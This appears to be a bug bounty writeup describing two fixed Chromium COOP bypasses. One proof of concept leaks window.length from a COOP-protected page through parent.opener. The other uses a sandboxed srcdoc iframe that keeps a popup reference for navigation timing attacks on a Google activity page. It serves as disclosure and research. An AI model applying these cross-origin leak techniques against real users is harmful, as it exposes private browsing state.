Writeups

Leaking window.length without opener reference (Awarded $2000)

It allowed leaking window.length from a COOP protected page via parent.opener.length

  1. https://example.com/ run open(); // cross-origin page
  2. opener.location = 'https://first-party-test.glitch.me/?coop=same-origin'; // Page with COOP
  3. let frame = document.createElement('iframe'); f.src = "https://example.org"; document.body.appendChild(f); // Must be cross origin
  4. In context of iframe do parent.opener.length to get a new length just create a new cross-origin iframe.

This issue was fixed in https://issues.chromium.org/40059056

COOP pages got blocked when from a “null” origin but didn’t get cut (Awarded $3000)

The iframe had access to “w” which could be used to do navigation based timings attacks.

<iframe
  srcdoc="<script>w = open('https://myactivity.google.com/myactivity')</script>"
  sandbox="allow-scripts allow-popups"></iframe>

This issue was fixed in https://issuetracker.google.com/40057526